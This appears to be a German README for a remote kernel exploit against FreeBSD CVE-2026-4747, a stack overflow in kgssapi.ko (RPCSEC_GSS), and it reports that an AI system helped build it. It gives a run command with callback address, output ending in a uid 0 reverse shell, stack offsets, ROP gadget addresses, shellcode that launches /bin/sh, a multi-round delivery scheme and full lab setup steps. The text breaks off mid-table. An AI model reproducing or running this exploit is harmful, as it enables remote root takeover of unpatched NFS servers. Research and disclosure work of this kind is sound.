
Remote-Kernel-Exploit für FreeBSD CVE-2026-4747, der einen Stack-Pufferüberlauf in kgssapi.ko ausnutzt, um RCE mit einer Reverse Shell zu erreichen. Enthält mehrstufige ROP-Zustellung und detaillierte Setup-Anweisungen.
| Aspekt | Detail |
|---|
| CVE | CVE-2026-4747 |
| Schwachstelle | Stack-Pufferüberlauf in kgssapi.ko (RPCSEC_GSS) |
| Auswirkung | Remote-Kernel-Code-Ausführung → uid 0 Reverse Shell |
| Betroffen | FreeBSD 13.5, 14.3, 14.4, 15.0 (ungepatchte Versionen) |
| Entdeckt von | Nicholas Carlini mit Claude (Anthropic) |
| Advisory-Datum | 2026-03-26 |
| Exploit-Zeit | ~8 Stunden (4 Stunden echte Arbeitszeit von Claude) |
python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
Ausgabe:
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================
Ziel: 127.0.0.1:2049
Callback: 10.0.2.2:4444
SPN: nfs/[email protected]
Shellcode: 432 Bytes (54 qwords)
Zustellung: 15 Runden (1 pmap + 14 write)
[R1/15] pmap_change_prot(BSS, 0x2000, RWX) ✓
[R2/15] write (4 qwords → 0xffffffff8198a800) ✓
[R3/15] write (4 qwords → 0xffffffff8198a820) ✓
...
[R15/15] write + EXECUTE (2 qwords) → JUMP 0xffffffff8198a800 ✓
[*] Shellcode zugestellt und wird ausgeführt
[*] kproc_create → kern_execve('/bin/sh -c ...')
[*] Reverse Shell → 10.0.2.2:4444
[+] Verbindung von 127.0.0.1:41320
[+] Shell erhalten!
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
Claude löste 6 verschiedene technische Probleme, um von einem Advisory zu einer funktionierenden Reverse Shell zu gelangen:
pmap_change_prot() → BSS ausführbarkthread_exit(), um sauber zu beenden (ohne Kernel-Panic)kproc_create() → neuer Prozess mit User-Mode-Infrastrukturkern_execve("/bin/sh") → lädt ELF, konfiguriert Trapframe, entfernt P_KPROC-Flag/bin/sh läuft in Ring 3 als uid 0trap 1 (Debug-Exception) bei gültiger Instruktion abkproc_create() erbt Debug-Register vom Elternprozesskproc_create() löschenCredential-Body-Byte → Stack-Ziel
[0..35] → GSS-Header (Version, proc, seq, svc, handle)
[36..151] → Padding (rpchdr-Rest + lokale Variablen)
[152..199] → Gespeicherte Register (RBX, R12, R13, R14, R15, RBP)
[200..207] → RUECKSPRUNGADRESSE ← Erstes ROP-Gadget
[208..399] → ROP-Kette (192 Bytes = 24 qwords)
| Gadget | Adresse | Zweck |
|---|---|---|
pop rdi; ret | K+0x1adcda | Arg 1 (rdi) |
pop rsi; ret | K+0x1cdf98 | Arg 2 (rsi) |
pop rdx; ret | K+0x5fa429 | Arg 3 (rdx) |
pop rax; ret | K+0x400cb4 | Wert zum Schreiben |
mov [rdi], rax; ret | 0xffffffff80e3457c | Beliebiges Schreiben von 8 Bytes |
Wobei K = 0xffffffff80200000 (Kernel-Basis, ohne KASLR in FreeBSD 14.x)
Phase 1 - Entry (gekaperter NFS-Thread):
mov rax, 0xffffffff8198bf00 ; Stack-Pivot zu BSS
mov rsp, rax
xor eax, eax
mov dr7, rax ; Hardware-Breakpoints löschen
call rbx ; kproc_create (vorab in RBX geladen)
mov rax, kthread_exit
call rax ; Thread sauber beenden
Phase 2 - Worker (neuer Kernel-Prozess):
; Argumente für kern_execve konfigurieren
lea rdi, [rbp - 0x80] ; &image_args
mov rsi, "/bin/sh"
mov edx, 1 ; UIO_SYSSPACE
call exec_args_add_fname
; "-c" und Reverse-Shell-Befehl hinzufügen
; ...
; /bin/sh ausführen
mov rdi, gs:[0] ; curthread
mov rax, [rdi + 0x08] ; proc
call kern_execve
; P_KPROC-Flag löschen
and byte [rax + 0xb8], 0xfb ; Übergang zu Userland erlauben
ret ; → fork_exit → userret → iretq → Ring 3
# Image herunterladen
wget https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/\
FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
xz -d FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
qemu-img resize FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2 8G
# Cloud-init-Konfiguration
cat > user-data << 'EOF'
#cloud-config
chpasswd:
list: |
root:freebsd
expire: False
runcmd:
- kldload kgssapi
- sysrc rpcbind_enable=YES nfs_server_enable=YES
- service rpcbind start && service nfsd start
EOF
# Boot mit Port-Forwarding
qemu-system-x86_64 -enable-kvm -m 2G -smp 2 \
-drive file=freebsd-vuln.qcow2,format=qcow2,if=virtio \
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
-device virtio-net-pci,netdev=net0 -nographic
Anforderungen:
Einrichtung in der VM:
# 1. Kerberos installieren
pkg install -y krb5
# 2. KDC erstellen
cat > /etc/krb5.conf << 'EOF'
[libdefaults]
default_realm = TEST.LOCAL
[realms]
TEST.LOCAL = {
kdc = 127.0.0.1
admin_server = 127.0.0.1
}
EOF
# 3. KDC-Datenbank initialisieren
/usr/local/sbin/kdb5_util create -s -P masterkey -r TEST.LOCAL
# 4. Principals erstellen (ersetze "test" durch deinen Hostnamen)
/usr/local/sbin/kadmin.local -q "addprinc -pw password [email protected]"
/usr/local/sbin/kadmin.local -q "addprinc -randkey nfs/[email protected]"
/usr/local/sbin/kadmin.local -q "ktadd -k /etc/krb5.keytab nfs/[email protected]"
# 5. KDC starten
/usr/local/sbin/krb5kdc
# 6. NFS konfigurieren
mkdir -p /export
echo '/export -network 0.0.0.0/0' > /etc/exports
# 7. Dienste aktivieren
sysrc rpcbind_enable=YES nfs_server_enable=YES gssd_enable=YES
service rpcbind start && service nfsd start
# 8. Verifizieren
sysctl vfs.nfsd.threads # Sollte 16 anzeigen (mit 2 CPUs)
sockstat -l | grep 2049 # Sollte tcp4/tcp6 anzeigen
# 1. Pakete installieren
sudo apt install krb5-user libkrb5-dev python3-gssapi
pip install gssapi
# 2. /etc/krb5.conf konfigurieren
sudo tee /etc/krb5.conf << EOF
[libdefaults]
default_realm = TEST.LOCAL
rdns = false # KRITISCH: verhindert DNS-Kanonisierung
dns_canonicalize_hostname = false
[realms]
TEST.LOCAL = {
kdc = VM_IP:KDC_PORT # 127.0.0.1:8888 (QEMU) oder 192.168.x.x:88 (bridged)
}
EOF
# 3. Hostnamen zu /etc/hosts hinzufügen
echo "VM_IP test" | sudo tee -a /etc/hosts
# 4. Kerberos-Ticket erhalten
echo "password" | kinit [email protected]
klist
# 5. (Optional) ROPgadget installieren, um neue Gadgets zu finden
pip install ROPgadget
ROP-Kette:
pop rdi → rdi = 0xffffffff8198a000 (BSS-Seite)
pop rsi → rsi = 0x2000 (2 Seiten = 8KB)
pop rdx → rdx = 7 (VM_PROT_ALL = RWX)
pmap_change_prot → ändert Berechtigungen auf RWX
pop rdi → rdi = 0
kthread_exit → Thread sauber beenden
Jede Runde schreibt 32 Bytes (4 qwords) nach BSS:
ROP-Ketten-Vorlage:
pop rdi → rdi = BSS_SC + offset
pop rax → rax = shellcode_qword
mov [rdi], rax → schreibt 8 Bytes
(3 weitere Male wiederholen)
pop rdi → 0
kthread_exit → beenden
Kosten: 40 Bytes ROP/8 Bytes geschrieben → 15 Runden insgesamt
ROP-Kette:
pop rdi → rdi = BSS_SC + 416
pop rax → rax = letztes qword
mov [rdi], rax → schreiben
(wiederholen)
BSS_SC → SPRUNG ZUM SHELLCODE!
| Problem | Ursache | Lösung |
|---|---|---|
| Falscher RIP-Offset | Statisches Disassembly zählte GSS-Header nicht | De-Bruijn-Muster + Crash-Dump lesen |
| MIT/Heimdal-Inkompatibilität | DNS-Kanonisierung des Hostnamens | rdns = false + dns_canonicalize_hostname = false |
| Trap 1 im Worker | Von DDB geerbte Debug-Register | DR7 vor kproc_create() löschen |
| Shellcode passt nicht | 432 Bytes > 400 Bytes (XDR-Limit) | Zustellung in |